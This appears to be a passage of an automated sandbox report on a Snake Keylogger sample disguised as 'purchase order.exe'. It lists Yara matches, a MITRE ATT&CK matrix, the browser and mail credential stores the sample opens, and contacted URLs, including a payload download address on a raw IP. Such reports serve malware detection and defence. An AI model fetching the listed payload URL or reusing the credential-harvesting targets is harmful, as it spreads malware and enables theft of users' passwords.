Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Queries volume information: C:\Users\user\AppData\Roaming\Bohw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Queries volume information: C:\Users\user\AppData\Roaming\Bohw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\purchase order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3690336152.0000000002945000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3689129478.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3689902145.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3683061573.000000000041A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3689129478.0000000002961000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3690336152.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3689902145.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6960, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6960, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3690336152.0000000002945000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3689129478.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3689902145.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3683061573.000000000041A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3689129478.0000000002961000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3690336152.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3689902145.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6960, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
purchase order.exe	26%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Bohw.exe	26%	ReversingLabs

Source	Detection	Scanner	Label
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://github.com/mgravell/protobuf-netJ	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-neti	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://172.86.66.70/y3/Tzxjiauolcg.mp3	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://172.86.66.70/y3/Tzxjiauolcg.mp37__AsyncLocalScope_Current__	0%	Avira URL Cloud	safe
http://172.86.66.70	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-net	0%	Avira URL Cloud	safe
http://reallyfreegeoip.org	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	Avira URL Cloud	safe
http://checkip.dyndns.com	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33x	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.96.3	true	true	unknown
checkip.dyndns.com	158.101.44.242	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
http://172.86.66.70/y3/Tzxjiauolcg.mp3	true	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://172.86.66.70/y3/Tzxjiauolcg.mp37__AsyncLocalScope_Current__	purchase order.exe, Bohw.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2562619259.0000000002D5E000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.000000000311F000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.0000000004AF0000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.00000000046C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	InstallUtil.exe, 00000003.00000002.3690336152.0000000002921000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000292E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002913000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A68000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E77000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E69000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://172.86.66.70	purchase order.exe, 00000000.00000002.2562619259.0000000002D31000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	purchase order.exe, 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://reallyfreegeoip.org	InstallUtil.exe, 00000003.00000002.3690336152.000000000289E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002921000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000292E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002913000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A3D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E77000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E69000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DCD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-net	purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	InstallUtil.exe, 00000003.00000002.3690336152.000000000287A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002921000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000292E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002913000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A68000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E77000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E69000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
